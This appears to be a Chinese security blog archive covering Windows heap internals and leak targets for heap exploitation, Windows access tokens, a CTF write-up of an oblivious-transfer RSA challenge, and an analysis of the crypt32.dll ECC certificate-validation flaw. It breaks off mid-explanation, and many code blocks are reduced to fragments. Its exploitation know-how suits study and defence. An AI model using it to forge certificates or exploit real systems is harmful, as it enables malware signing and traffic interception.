通常会在winapp或者某些特殊的进程(核心进程)中会使用到。(也可以控制注册表打开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
)
这两种堆称为前端堆(Frontend Heap)和后端堆(Backend Heap)
最近查看MSDN的时候,发现官方也有了对于堆的介绍了!虽然可能和实际有点出入,不过好歹也是官方的,这里记录一下。
1 | +-----+---------------+---+ |
1 | +-----+---------------+---+ |
1 | +-----+---------+---+------- |
1 | +-----+---------+---+------- |
管理堆最主要的结构体,在每一个被分配的堆的最前面。(就好像arena
一类的结构体)
1 | 2:007> dt ntdll!_HEAP |
这里注我们关注如下的结构体对象
_HEAP_LIST_LOOKUP_
unsorted bin
有点像,是一个排列过的链表。其本质为FreeList
每一个堆的最基本的堆结构体
1 | +-------------------------+ |
chunk为一个最基本的单位,在win10里面也是。
chunk分为三种不同的堆:
三者的结构体有一点不同,我们先介绍第一种。
1 | 2:007> dt ntdll!_HEAP_ENTRY |
这里我们关注如下的结构体:
从偏移量+0x8
开始就是userdata
如果是free的堆块的话,则可能还有如下两个字段:
1 | +0x008 FLink |
Flink指向下一个在链表中的堆,Blink指向前一个在链表中的堆。此时的UnusedBytes
必须要为0
如果是VirualAlloc分配的堆的话,它的结构如下:
1 | 2:007> dt ntdll!_HEAP_VIRTUAL_ALLOC_ENTRY |
这种heap分配的堆在使用中就会用链表记录分配的堆情况。同时,在这个结构体中记录的size将会是未发生过位移的大小。并且这里的UnusedByte
必须要为4
当存在被释放的堆块的时候,内存中形式如下:
1 | HEAP |
这边打印的堆地址如下:
1 | 0: [0x18f0498] |
代码后面,heap[0],heap[2]
都被我们释放了,所以应该可以形成如上的链表。如果我们用windbg,从内存中去看的_HEAP_ENTRY
的话,可能会有一点奇怪的感觉:
1 | 0:001> dt _HEAP_FREE_ENTRY 0x18f0490 |
可以看到,FreeList
似乎是正确的,我们追踪一下内存会发现确实没有问题:
1 | 0:001> dd 0x18f0498 <----- heap[0] |
但是这个_HEAP_ENTRY
好像有点怪怪的,因为我们申请的堆块大小似乎不是0xe91
,而是0x80
。这是因为这个时候的chunk header
被_HEAP.Encoding
加密过。为了得到真正的header,我们需要将这个值修改一下。
1 | 6ef60e82为Encoding中的值 |
这次看过来,首先我们知道开头的三个字节是需要过checknum的,我们确认一下0x13^0x00^0x4 -> 0x17
,也就是说SmallTagIndex
的验证是能通过的,说明这个就是我们此时的chunk header
。然后我们计算一下我们这个chunk的size,为0x13*8->0x98
有点奇怪?我们申请的应该是0x80才对呀,不过看到分配的地址:
1 | 0: [0x18f0498] |
说明大小是没错的,这个大小和我们申请有出入其实是因为我们申请的大小正好导致堆没有16字节地址对齐,同时没有把chunk header以及 PreviuseBlockPrivateData计算进去导致的。sizeof(chunkheader)=8, previouse data=8
,如果按照(0x90)申请的话,chunk地址空间正好为0x18f0520
使用插件指令:
1 |
|
可以直接看到解密之后的堆信息,如下:
1 | 0:004> !heap -a |
用于管理不同大小的被free之后的堆块,这类堆块就和fastbin
类似,不会被merge(?)
1 | 0:004> dt _HEAP_LIST_LOOKUP |
ExtendedLookup
,下一个BlocksIndex
将会管理更加大的chunks
BlocksIndex
将会管理的最大的chunk的大小BlocksIndex
的ArraySize
大小为0x80(实际上为0x800)Blocksindex
中起始的chunk的index。ListHint
中找到合适的空闲堆块BlocksIndex
中的BaseIndex
为当前BaseIndex
中的最大值_HEAP_ENTRY
): FreeList的Head我们将代码修改一下:
1 | heap[0] = HeapAlloc(hHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, 0x80); |
打印堆内容如下:
1 | 0: [0x1110498] |
此时的场景为:
heap[0]
早于heap[2]
被free知道了上述三个条件之后,我们来看一下内存布局,大致如下:
_HEAP
中FreeList(_HEAP
+0xc0)的指针ListHint[0x13]
中存放的正好是指向大小为0x13*8=0x98
的chunk的地址ListHint[13]
不为空堆的分配大致可以分为三种不同的分配方式:
size<=0x4000
0x4000<size<=0xff000
size>0xff000
分配内存主要由APIRtlAllocateHeap
实现,我们分别介绍三种不同的堆块的分配方式
FrontEndHeapUsageData
上加上0x21除了LFH相关的操作,其他的操作和]Size <= 0x4000
堆分配大小一样。
ZwAllocateVirtualMenmory
来直接分配堆_HEAP->VirtualAllocdBlocks
_HEAP->VirtualAllocdBlocks
是一个链表,用来管理后端堆使用VirualAllocate
分配的堆块内存释放的话,主要分为两种情况
Size <= 0xff000
Sizeo > 0xff000
FrontEndHeapUsageData-1
_HEAP->VirtualAllcdBlocks
中取出来RltSecMemFreeVirtualMemory
来取消对这段内存的映射1 | // Linux |
Windows heap pwn的话,主要考虑leak如下的内容
这个模块下主要要泄露的内容有
_HEAP_LOCK
_HEAP->LockVariable.Lock
CriticalSection->DebugInfo
PebLdr
_PEB_LDR_DATA
BinaryBase
这是一个很重要的dll,在这里能够找到很多有用的函数,并且能够从IAT中找到kernelbase.dll的地址
Kernelbase!BasepFilterInfo
如果BasepFilterInfo
找不到stack的地址的话,那么可以从TEB找到地址。这个TEB地址通常会PEB在同一个页面中。
最近windbg下载符号的时候好像是被墙了,这里需要在系统环境变量中添加_NT_SYMBOL_PROXY
:本地代理地址,然后重启windbg即可下载符号。
这一段会尝试介绍一下 Windows 整个操作系统中,参与了安全保护的各个部件。
当用户登录操作系统的时候,操作系统会要求用户输入密码,输入的密码会与Windows的安全数据库(security database)的信息进行比较。当密码得到验证(authenticated)之后,系统将会产生一个Access Token,代表了当前登录用户的权限。
每一个 Access Token 都是描述了一个进程或者线程的安全上下文,包括身份以及特权(privilege)。
当一个线程尝试进行如下操作的时候,操作系统会使用 Access Token 来识别一个用户
一个Access Token中实际上包含了如下的内容:
从逻辑上讲,线程从属进程,而用户直接创建的是进程,所以进程中会持有象征着创建者的Token,这个Token就被称为主token (primary token)。一个主token中会记录当前用户与进程相关联的有效的安全上下文(secure context)。而实际上与安全对象交互的往往是线程,所以默认情况下主token是由线程携带与安全对象进行交互。
不过特殊情况下(例如在一些RPC场合,或者在一些CS架构的软件,server端限制client端权限的时候等),可能会出现某些线程需要以创建当前进程不同的,其他用户的身份访问安全对象的时候,这个时候会给线程一个特殊的token,被称为模仿token(impersonation token)。此时的线程使用属于自己的token,并且有不同于进程的权限。
此时可以使用
1 | OpenProcessToken |
来检查当前进程/线程的使用token
windbg中可以方便的查看一个进程的token
user mode
1 | !token |
kernel mode
1 | !process 0 0 // 找到对应的进程 |
通常情况下,我们的程序拿到的token都是伪token(pseudo token)。这种方式主要是为了托管我们对内核句柄的操作:
1 | HANDLE hToken = GetCurrentProcessToken(); |
如上,虽然从API可知我们尝试获取了当前进程中的token(也就是primary token)但是此时的token值为:0xfffffffffffffffc
(64位下),显然不是一个真正的handle值。在某些场合下(需要知道确切句柄值的API的时候)会无法正常使用。如果需要知道此时真正的token的时候,需要使用OpenProcessToken
这个API:
1 | OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken); |
这里注意,不可以使用DuplicateHandle
这个API!因为这个API在MSDN上写的其实是:
If hSourceHandle is a pseudo handle returned by GetCurrentProcess or GetCurrentThread, DuplicateHandle converts it to a real handle to a process or thread, respectively.
也就是说只有进程和线程的伪句柄才生效。对于token的伪句柄是不生效的。
限制令牌是由APICreateRestrictedToken
创建的一种主/模仿token。一个跑在限制token的安全上下文的进程或者模仿线程将会收到访问安全对象的限制,以及一些特权操作的限制。具体来说,会以如下的方式来限制一个token
deny-only
的属性,从而让其无法访问到安全对象。(详情看后面的访问令牌中的SID属性
)当系统检查一个token是对访问安全对象的访问权限的时候,系统通常会使用一系列的限制SIDs。当一个被限制的进程/线程尝试访问一个安全对象的时候,系统会进行两种检查:
只有当两种权限都被允许的时候,才能够访问这个对象。
API CreateProcessAsUser
拥有创建一个有指定token权限的进程,但是一般情况下需要有特权SE_ASSIGNPRIMARYTOKEN_NAME
。然而,当指定的进程token为限制token的时候,创建的父进程可以不具有特权也可创建。
每一个用户组拥有的访问token
都有一系列的属性来说明操作系统要如何使用这个访问检查,一般来说有如下两种检查方式:
Attribute | Description |
---|---|
SE_GROUP_ENABLED | 启用了这个属性的SID能够被进行访问检查。当系统尝试进行访问检查的时候,当检查当前的SID对应的ACE中状态为allowed\deny 的时候,能够被检查到。与此同时,未设置这个属性的(除了SE_GROUP_USE_FOR_DENY_ONLY )的SID将会被忽略检查 |
SE_GROUP_USE_FOR_DENY_ONLY | 启用这个属性的SID被称为deny-only 的SID,当系统进行访问检查的时候,只会检查对当前SID中deny的权限,而忽略所有allow的权限,也就是只关注这个SID被显示的拒绝了什么权限,而不关注其被允许的权限。一旦这个属性被设置的话,SE_GROUP_ENABLED 将无法被设置,并且SID不能被enable。 |
一个应用只有在获得相应权限的时候才能够去修改一个ACL。这些权限被记录在访问Token中的安全描述符中。
如果才想要设置一个访问Token的安全描述符的时候,需要调用GetKernelObjectSecurity/SetKernelObjectSecurity
等相关API。
当需要使用OpenProcessToken/OpenThreadToken
获取的Token的时候,系统就会检查请求的权限和记录在token的安全描述符中的DACL中的差异。一般来说一个有效的访问权限token有以下的权限:
SYNCHRONIZE
,其余的DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER
都有 ACCESS_SYSTEM_SECURITY
的SACL的权限特权privilege
(例如一般的用户账号或者组账号——在本地计算机中执行的各种与系统相关的操作(例如开关闭系统,加载驱动,更改系统事件等等)的权利。特权(privilege)和之前提到过的访问权限(access right)有两个不同的地方:
每一个系统都有一个用户数据库(account database),里面存储了每一个用户/组的特权信息。当用户尝试登录系统的时候,系统将会提供一个包含了当前用户所有特权的访问token,以及授予用户这个访问token中的用户/组的特权。不过,这个特权只适用于本地计算机,在域中并不适用。当用户尝试进行一个特权操作的时候,系统将会检查访问token中的特权位,检查其是否包含对应的特权权限,如果有的话,才会允许执行。这里大致展示一下:
TOKEN与Privilege
TOKEN的结构体大致长这个样子
1 | typedef struct _TOKEN |
其中SEP_TOKEN_PRIVILEGES
表示的就是当前TOKEN的特权:
1 | nt!_SEP_TOKEN_PRIVILEGES |
这个_SEP_TOKEN_PRIVILEGES.Enabled
中的每一个bit就表示一种特权。前文提到的当用户尝试进行一个特权操作的时候,系统将会检查访问token中的特权位,实际上就是检查SEP_TOKEN_PRIVILEGES.Enabled
中的bit位是否为1.
用之前提过的技巧,首先找到当前进程的TOKEN地址:
1 | : kd> !process aed07600 1 |
然后这里我们找到了对应token的地址,我们使用dt
去检查一下其内存中的形式:
1 | 1: kd> dt nt!_TOKEN 8bfd18a0 |
可以看到,_SEP_TOKEN_PRIVILEGES.Enabled
的值为0x60800000
,写成bit的形式就是:
1 | 1100000100000000000000000000000 |
此时直接查看token 的内容为:
1 | _EPROCESS 0xffffffffaed07600, _TOKEN 0x0000000000000000 |
注意特权那一栏:
特权的第23,29,30 bit正好都是1,对应在bit的形式就是(注意存在第0位):
1 | 1100000100000000000000000000000 |
正好和我们之前和内存中存在的形式看的一致。于是我们就能够知道当前进程中的token拥有的特权有:
之前提到过,每一个安全对象都有一个唯一的SID
,那么特权对象有没有对应的唯一标识符呢?其实是有的,就叫做LUID
,本地唯一标识符(因为特权只对当前机器生效,所以不需要GUID)。LUID可以在每台机器之间都不同,甚至每次重启之后都不同。为了确认当前LUID和特权的对应关系,可以使用API
1 | LookupPrivilegeValue |
进行切换。
Windows下有很多实现了相关安全防护的组件(其中大部分都在%SystemRoot%\System32
这个目录下)
存在ntoskrnl.exe
这个文件中,定义了acces token的数据结构,并且会对security access
进行checks,以及对不同token分发权限,并且产生安全审计日志。
常见的user-mode
进程,主要用于本地操作系统安全策略管理(登陆用户管理,密码策略,用户(组)权限管理等等),用户权限,并且负责发送安全事件的日志。其中主要功能由Local Security Authority service
(Lsasrv.dll)进行实现。
Lsass使用,或者叫做Credential Guard
,用于存放用户token的hash值,而不是直接在Lsas的内存中存放。由于Lsaiso.exe是Trustlet
进程(与普通用户空间隔离),所以当需要与Lsass.exe
通信的时候,只能使用ALPC
数据库中存储了了本地系统安全策略的设置。这个模块被存储在又ACL保护下的HKLM\SECURITY
下的注册表中。其中包含的信息有:
其中还存储了一些和登陆信息有关的秘密。
这个服务用于管理定义在当前机器中用户名的组的数据库。这个模块由samsrv.dll
实现,并且会被load到进程lsass
.
之前提到的被管理的数据库。里面存储了本地用户(组)以及对应密码和其他相关的属性。对于域控制者来说,SAM
·中并不会存放域定义者的用户信息,但是会存放系统管理员恢复的账号和密码。这些数据存放在:HKLM\SAM
这是一个目录服务,包含一个存储域中对象的数据库。一个域由许多的计算机组成,这些计算机会被组织成一个安全组,并且作为一个实体进行管理。AD会将这些对象的信息存放在域中,包括用户,组以及计算机。域用户和组的密码信息以及权限都会被存储在一个在所有计算机中,被设计为域管理员的AD中。AD server 由Ntdsa.dll
实现,同样运行在lsass.exe
进程中。
这个模块其实是指的哪些运行在lsass 以及其他实现了windows 客户验证的dlls。一个验证dll将会验证一个用户的用户名和密码是否匹配(或者当前机器会不会提供身份认证)。如果匹配,则返回给Lsass用户的安全身份,lsass用此来产生验证用的token。
这个就是Winlogon.exe
,是第一个用户态的程序,用来进行SAS(Shared Access Signature),并且对登陆的会话进行管理。当用户登陆成功后,winlogon.exe将会创建第一个用户程序。
一个用户态的进程LogonUI.exe
可以让用户对自己的身份进行验证。
这个是一个COM对象,运行在进程LogonUI中,用来获取用户的用户名和密码,smartcard PIN 码,生物信息(指纹等等),或者其他的身份认证信息。完整的CPs
由authui.dll
,SmartcardCredentialProvider.dll
,BioCredProv.dll
以及FaceCredentialProvider.dll
实现(有些特性win10才加入)
这个是由Netlogon.dll
(由svchost启动)模块实现的一个功能。用于设置对域控制的安全通道,以及安全请求。例如交互式登陆(如果域是在WIndows NT 4)或者LAN Manager以及NT LAN Manager(V1/V2)的身份认证,这个模块同样也会作为AD的登陆模块使用。
一个内核态的模块(%SystemRoot%\System32\Drivers\Kescdd.sys
),实现了APLC(Advanced local procedure call
的结构。让其他的内核态安全模块(包括Encryption File System(EFS)
)能与Lsass进行通信
这个功能运行管理员能够指定哪个exe,dll,scripts
能被指定的用户执行。这个模块由内核驱动(%SystemRoot%\System32\Drivers\Appld.sys
)和服务(AppidSvc.dll
)两部分组成
Crediential Guard
给系统中的不同元素提供了安全边界与保护。不过为了实现这个过程,首先需要知道程序是怎么实现身份验证的
NT LAN
用于对传统模块的身份验证。不过在现在的网络系统验证已经不使用这部分内容了Windows AD域
下常做的验证方式。在登陆成功之后,TGT以及相应的密钥将会被提供给本地机器。Pwnhub
出题,于是趁着自己也研究了一下密码学相关的东西,看看能不能做出来一题。然而出题人实在是强,让人再一次明白了思路开阔的重要性比赛中我总共看了两个题目,这里先记录以下我在解babyOT
的时候的思路
题目给出了一个python
文件
1 | #!/usr/bin/env -S python3 -u |
题目本身跑在server上,我们需要直接与其进行通信。不过乍一看,好像就是猜随机数msg0/msg1
,还得一次性猜对。其次注意到,我们可以交互的地方是这个v
值,以及最后的猜测msg0/msg1
的值。题目中还使用了RSA算法,不过这里的RSA是用PyCrypto
这个库来生成的,所以目测应该没有什么太大的漏洞。一眼看过去能够注意到的点就只有这些了。
从题目上看,可能和这个叫做OT
的东西相关,队友了解到是一个叫做Oblivious Transfer(不经意传输)
的协议。于是这里首先要了解一下这个协议本身:
OT是多方安全计算下使用的算法之一。
要介绍一个协议,首先要介绍一下这个算法使用的场景:
假设有两个人Alice/Bob,Alice手上有很多的数据,Bob想要知道Alice的数据。但是两个人都非常小心,不想让对方知道自己的信息,具体来说就是:
也就是说Bob想知道一个Alice信息,但是Alice不知道Bob选择了哪个信息,Bob也不能知道Alice的其他信息。(有一点零知识证明的意思)
这边用最简单的【1-2 不经意传输】做例子。1-2的意思是【从两个消息中,选取一个信息】
这里摘录一个wiki的表格:
注意由于此时v并不是 Alice 产生的,所以此时的 Alice 并不知道哪一个k是 Bob 需要的
7. Alice 将生成的值与自己手上的信息进行相加,得到全新的信息
并且将信息发送给Bob。因为此时每一个信息都增加了,所以 Bob 无法直接还原信息m
8. Bob 此时知道自己选择的信息编号b,于是选出,计算出,并且用得到此时的解密信息。
对于Alice而言:
对于Bob而言:
不过换个角度来说,Bob交给了Alice一个有可能判别身份的数字,Alice交给了Bob自己所有的信息。从结果上来看,两个地方都存在攻击面。实际上OT在实现上可以使用不同的公钥加密方式,不一定非要使用RSA。
把协议过了一遍,发现这个题目本质上就是Server就是Alice, 我们来模拟Bob,解开被Alice加密的那些信息。不过乍一看,生成RSA密钥对用的是PyCrypto
,那这个生成算法估计是没啥问题的。而且题目代码非常简洁,感觉不到什么可以被利用的地方。于是只好和队友重新过了一遍题目,发现几个问题点:
故事一开始,我猜测是不是有这个值能够在n上构成循环群,然后这个能够形成一个循环群之类的。虽然我们知道这个的阶为d,不过我当时猜测是不是有比较小的阶也能满足这个条件,最后显然是失败了,爆破了很久都爆不出来。虽然后来出题放放出了hint提到我们都忽略了一个点
但是我们不知道怎么来考虑这点,毕竟v的值除了受到密钥对的影响,还有随机数x。
最后官方WP放出来之后,我们才理解这个题目怎么做。记得很久以前看过解决小学奥数题有一个根本思路:要在变量里面寻找不变量。在这个题目里面的不变量其实就是RSA的密钥对(n, e, d), 其中n,e我们又是已知的,d我们无法得知。不过认真看代码的话会发现有一个地方用到了这个值:
1 | print((msg0 + pow(v - x0, key.d, key.n)) % key.n) |
这里的这个加密函数其实算是不变量,因为这里的d/n
都是一个固定值。不过当时比赛的时候没想到这点怎么利用,后来看了答案得到了提示,那就是说
如果输入的值不变,那么就能获得一样的输出值
回想hintRSA算法的密钥对没有重新生成,这里其实暗示了一个点,那就是如果发起多次连接,RSA还是不变的。这里一个非常巧妙的地方就在于多次连接。我们知道,每次重新连接的时候,所有的信息都会被重置,不过在这里面,蕴藏着一个不变量,也就是我们之前提到的F加密函数,如果我们能够控制F函数的输入不变,那么我们就能够获得同一个输出!具体要怎么做呢?我们假设整个题目在第一次产生的变量叫做,第二次生成的变量叫做,我们第一次连接的时候,能够知道,输入的v为,然后就能得到与。
这里可以看到,我们的v取值为,于是。
这之后,我们不关闭这个连接,重新建立新的连接,此时能够得到,与此同时,我们知道在这一次,加密函数的写法变成了。第一次连接中我们需要推断的是,于是这里的。于是可以有如下推断
因此,当我们的时,被加密过的值将会与相同,从而保证能够在多次连接中获得相同的加密值。至此,我们就在多个连接中找到了不变量。
控制F获得同一个输出的意义在哪儿呢?首先,每一次都需要取猜测msg,乍一看每一次的数据都是独立的,不变量对于我们需要获取msg1有什么帮助呢?首先第一步,我们先确定我们要得到什么
需要知道msg的值
然后我们能够做什么
控制输入v
一个直观想法是,让v等于,但是此时官方会打印两个值:
由于我们不知道d,所以无法算出。到这里,有几种不同的思路:
这里考虑到我们已知的条件:
显然这个条件对于获取d没有什么帮助,乍一看好像也和直接爆破msg1没关系。我们这里设,并设官方会打印数字P = (msg1 + pow(v - x1, key.d, key.n)) % key.n
。如果我们进行了很多次的连接,同时将y控制不变,那么此时就有:
也就是说,每一次获得的msg都是一个区间值,因此就形成了一个不等式方程组。通过多次计算,y将会被逐渐限制在一个区间内,最后得到一个具体的值。这样我们就能够爆破得到y
,从而猜测到msg的基本信息。带入不等式可以有
不过说起来,仔细考虑的话会发现,由于这里考虑的粒度比较粗,所以有一些情况会无法涵盖(例如msg的取值不可能为0x412041.....
)所以此时得到的范围会相对来说比较宽泛,我们需要缩小取值范围
我们首先要注意msg1并不是真正意义上的从[0x41414141....~0x7a7a7a7a7a...]
,之前的例子理也出现过了,例如0x41204141.....
这种数字是不会出现的,所以我们与其整体考虑,不如拆分成每一个数字来考虑。也就是我们将考虑每一个数字可能的取值范围。
那么我们取多次P,就能够将y缩小到一个比较小的范围里面。不过这里取值的时候,需要考虑到借位的问题:
为了增大检测范围,此时可以用如下两条规则来确定:
其余情况一律当作不接位处理(毕竟是不停产生的随机数,所以可以稍微放松一点约束条件)
除此之外,有一个小细节,是写poc才发现的。。。看代码这段:
1 | msg0 = bytes_to_long(random_str(2048 // 8 - 1).encode()) |
实际上msg的长度没有真实随机数的长度长,所以实际上我们需要爆破的只有255个字节,第256个字节只需要考虑进位问题即可
当我们把范围限制在一个可以承受的范围的时候(可能的取值控制在500000左右之后),我们就可以尝试去爆破y的具体取值(毕竟原题目是一个需要交互的题目,减少交互可以减小网络等问题的影响)。具体怎么做呢?由于此时我们已知 ,此时我们可以确认的已知量为 ,所以我们的算式需要围绕这个值来进行爆破。由于我们使用了RSA对这个数字进行加密,所以我们可以遍历区间中的所有取值,检查 。如果成立的话,则代表我们爆破的y是合理的。
这里贴上为了解题写的poc,并且改写成了本地的版本:
1 | import os |
整个题目前前后后花了大概有半个月的时间来解,除了平时上班之外,其实剩余的时间也是不少,不过最近因为各种原因,心思总是不能集中在一件事情上,导致实际上公式老早就推导完成,但是实际上poc却写了有两周这样无厘头的事情。
关于密码学
Windows 的crypt32.dll
模块中,对于使用了 椭圆曲线密码( Elliptic Curve Cryptography ECC) 的证书的验证的过程出现纰漏,使得攻击者可以通过伪造证书,给一些恶意软件签名,伪装成正常的软件,或者强行安装驱动;亦或者伪造https证书,实现中间人攻击。
要想了解这个漏洞,首先得了解一下这个ECC
。这里选取课本上对ECC
的定义。
首先我们需要定义以下什么叫做椭圆曲线。设F
表示一个域,则在这个域上的如下形式的表达式
确定的点 以及一个特殊的无穷远点O所构成的集合,被称为椭圆曲线,其中的∈F。 上述式子同时被称为Weierstrass方程
然后我们加密算法中讨论的椭圆曲线在满足F的特征既不等于2又不等于3(就是说 mod 的数字既不是2也不是3)的时候,上述椭圆曲线的方程可以化简为
其中
在实数域上的一元三次方程 我们定义一个判别式Δ如下:
当$$Δ=0$$的时候,函数图像会变成如下的形式
这种曲线被称为奇异椭圆曲线。这类曲线不被用于椭圆曲线方程
个人推测是因为在域F中任意取两点做出来的直线,与这个曲线的交点可能仅有两个,而椭圆曲线加密需要能够得到三个点,具体做方法见下文
当$$Δ!=0$$的时候,得到的曲线被称为非奇异椭圆曲线
如上为常见的非奇异椭圆曲线的样子。
这里设一个点$$O$$为无穷远点,于是我们能够得到实数域上的椭圆曲线点的加法运算
然后我们定义一个椭圆曲线上的加法运算,规则入下:
对于任意P=(x_1, y_1) \inE, Q=(x_2, y_2)∈E,定义:
其中
此外,对于任意,定义
从图形上看是这样的
从定义上来谈就是:
从椭圆曲线E上任意取P,Q两点,将这两点连接形成直线l。其中如果P=Q,则此时直线与椭圆曲线相切。直线l必定与图欧元曲线相交于另外一个点R,过R做y轴的平行线l’,这里l’定义为R与无穷远点的交点。l’与椭圆曲线相较于的点R’,我们就是视为P+Q的结果。从定义上可以看出,公式实际上可以写作
于是这里我们就把之前定义的(简写为+)写作:
上述推导的式子,在满足p>3的有限域上成立。(可以粗略的理解定义域和值域均为[0, p]的情况下依然成立)
这个算法实际上利用的是CA的验证漏洞,所以这里我们先介绍一下和CA相关的内容:
一个CA是怎么进行工作的呢?
每一个浏览器/计算机中都会预装一些CA证书。证书中将会包含当前CA的公钥,用于验证。
但我们想要创建一个属于自己的数字证书的时候,首先我们需要创建创建一个公钥/私钥对(这个用OpenSSL就能做到)这种就叫做证书签名请求CSR.CSR中包含如下内容
一旦创建好了CSR,就能够将这个请求提交给CA。一旦CA将这个证书签名完成后,这个证书将会返回一个签过名的cert证书
,之后我们就能够将这个证书导入到我们的服务器中。
一个签名证书中包含如下内容:
为了能够更好的知道这个漏洞利用的技巧,首先我们需要知道文件签名的基本逻辑:
每次椭圆加密的时候,都需要提供这个加密算法需要的参数(例如生成元,椭圆曲线等)。这种时候可以提前生成需要的参数:
1 | openssl ecparam -name secp384r1 -out secp384r1.pem |
这样就能够生成算法secp384r1需要用到的基本参数。这里进行查看:
1 | $ cat secp384r1.pem |
可以发现,这边的内容非常短,使用openssl
检查的话可以看到如下的结果:
1 | $ openssl ecparam -in secp384r1.pem -text |
可以看到这边只有一些普通的基本信息。因为大部分的机器上面都有这种算法的基本参数(比如说生成元,阶等)。我们可以使用参数文件来创建指定的椭圆曲线加密公钥私钥对。方法如下:
1 | openssl ecparam -in secp384r1.pem -genkey -noout -out secp384r1-key.pem |
或者直接使用机器上默认已有的加密参数进行加密:
1 | openssl ecparam -name secp384r1 -genkey -noout -out secp384r1-key.pem |
这个时候用来生成密钥的基本参数会直接嵌套在当前文件中。
但是有些比较老的机器上,可能没有这些需要的参数。为了解决这种问题,可以使用关键字**-param_enc explicit**来指定。这种时候生成的参数文件能够将所有需要的参数包含在文件里面
1 | openssl ecparam -name secp384r1 -out secp384r1.pem -param_enc explicit |
这个时候再查看生成的EC参数文件内容如下:
1 | $ openssl ecparam -in secp384r1.pem -text |
这个时候就能够使用指定的参数来生成指定的椭圆曲线方程。同理也能用这种方法直接生成密钥文件:
1 | openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit |
这样的密钥文件就能够被不支持当前算法的电脑进行使用了。
使用这种密钥可以自己创建根证书(中间证书),创建的步骤如下:
1 | $ openssl req -key p384-key.pem -new -out ca-normal.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26 |
这样就相当于使用密钥对p384-key.pem文件,创建了一个对应的根证书(CA)文件。这个CA文件具有给别的CSR签名的权力。
那要如何给别的证书签名呢?首先创建一个普通的证书
1 | openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem |
这样会创建一个公钥私钥对。然后我们要发起一个证书签名请求:
1 | $ openssl req -key prime256v1-privkey.pem -new -out prime256v1.csr |
签名请求里面会包含当前证书公钥私钥对,以及需要被签名的基本信息,例如公司,网站地址,email等基本信息。
这个证书请求表明我们发起了一个请求,要对这个证书进行签名。之后我们使用根证书来对这个请求进行签名:
1 | openssl x509 -req -in prime256v1.csr -CA ca-normal.pem -CAkey p384-key.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req |
openssl 将CSR
中证书相关的内容提取出来,然后通过指定CA证书,以及生成CA证书时使用的公钥私钥对,使用私钥对证书进行了签名。这个签名完成得到的client-cert.pem
就是一个受到CA验证得到的签名文件。
如果想要给软件签名,首先要打包成pkcs#12
的格式
1 | openssl pkcs12 -export -in client-cert.crt -inkey prime256v1-privkey.pem -certfile ca-normal.pem -name "Code Signing" -out cert.p12 |
然后使用SDK中提供的工具进行签名:
1 | signtool.exe sign /f cert.p12 test.exe |
签名完成之后,还能够对文件本身的签名进行验证:
1 | signtool.exe verify test.exe |
我们来查看一下当前的证书内容:
可以看到颁发给这边写的内容为TestCOMM,也就是我们发起证书请求的对象。然后查看当前证书详细信息中可以看到如下信息:
可以看到这边写了很多基本的加密信息,其中的颁发者写的正是我们CA自己的基本信息。而使用者为发起证书请求的人。检查其证书路径(也就是证书链)能够看到如下的逻辑:
这里会发现,我们只能看到我们自己创建的证书内容,但是没有我们CA的内容。这是为啥呢?主要是因为我们的CA是我们自己创建的。
总的来说,证书向CA请求签名逻辑如下:
由于一般的证书颁发都是有一个可信的根证书(Root CA)。所以一般颁发出来的证书实际上都是包含一个证书路径(证书链)。我们来看一个例子:
这个是网站cnblogs.com的证书,可以看到有一个证书颁发链。为了能够帮助计算机快速的对这类使用了TLS/SSL
通信协议的网站进行认证,这个根证书会在本地存有一份。我们首先检查这个证书链上根证书的内容:
然后我们打开计算机上的证书管理器(ctrl+R -> certmsg.msc
)可以看到本地也安装了名字一样的证书:
可以看到证书的名字也一样。通过这种验证方式,就能够让本地快速确定通信对方证书是否可信,从而缩短验证的逻辑。
Root CA证书中,包含有一个 CA_PubKey 以及一个公开的k
如果这个Root CA证书是自己生成的的话(也就是可以用于签名的CA),那么这个证书中有一个 CA_PrivKey。(注意CA是给证书签名的机构,这个时候证书本身也有公钥和私钥,在CA签发证书的时候这对公私钥不参与运算)
完成签名后的证书中包含需要使用当前Root CA签名验证的时候,使用私钥对原先证书中内容进行的加密。其中证书提交的信息有:
CA颁发的证书中包含如下内容:
当用户收到这个证书的时候,首先用证书中提到的hash算法对明文信息进行运算,然后会使用浏览器/计算机中安装了的CA的公钥对签名进行解密,如果解密出来得到的内容和用户计算得到的hash值一样的话,则可以确定当前证书是合法的,于是可以确认这个证书中记录的公钥合法。从https
通信的角度来说,这个时候就能够获得一个用于三次握手的时候,双方用来约定密钥的公钥。之后客户端就能够对自己产生的随机数使用密钥加密,完成和服务器的通信密钥商定。(具体是一个https约定的过程,之后有空可以补上这个过程)
在进行步骤CA对证书请求进行私钥签名这一步的时候,如果我们选择的加密方式为ECC 椭圆曲线加密
的话,实际上会进行一个如下的数学运算:
设椭圆曲线E为有限域上的椭圆曲线,然后选取的p>3为大素数。a为椭圆曲线上的一点,如果ord(a)足够大,则在由a生成的循环群中离散对数问题是难解的,p,E和a都公开(在证书中可以被openssl查到)
随机选取整数d,满足1<=d<=ord(a)- 1,计算 b=da,b是公钥,d是私钥
设明文 随机选取整数 k 满足 1<=k<= ord(a),此时密文为
其中满足
这里注意到,这个运算中,其实关键在于b=d*a这个地方的运算。因为实际上a是公开的(记录在证书中的生成元generator),而公钥b我们也是已知的,相当于正是因为将d隐藏起来,才让这个问题变得难解了。这要注意到,这个d乘以a的运算并不是通常意义上的乘法,而是定义在椭圆曲线算法上的一种特殊乘法运算,具体就是前文提到的椭圆曲线上形成的循环群中的算法。
而这些算法的细节,实际上会记录在自建的证书中,包括Root CA。如果我们创建证书的时候,使用了参数-param_enc explicit
的场合,我们就能够自定义椭圆曲线中,所有的参数,包括用于生成公钥的生成元generator的值
Windows上的crypt32.dll
中的APICertVerifyCertificateChainPolicy
和CertDllVerifyMicrosoftRootCertificateChainPolicy
会检查当前证书中的证书链。然而在检查的过程中,Windows只验证了指定证书中的Root CA公钥是否和电脑上缓存的Root CA证书中的公钥是否相等,并未验证生成元是否被篡改了。如果公钥相等的话就简单的认为,当前颁发证书的CA就是指定的CA。
这样我们就有一个这样的逻辑去利用漏洞:
G'
:G'
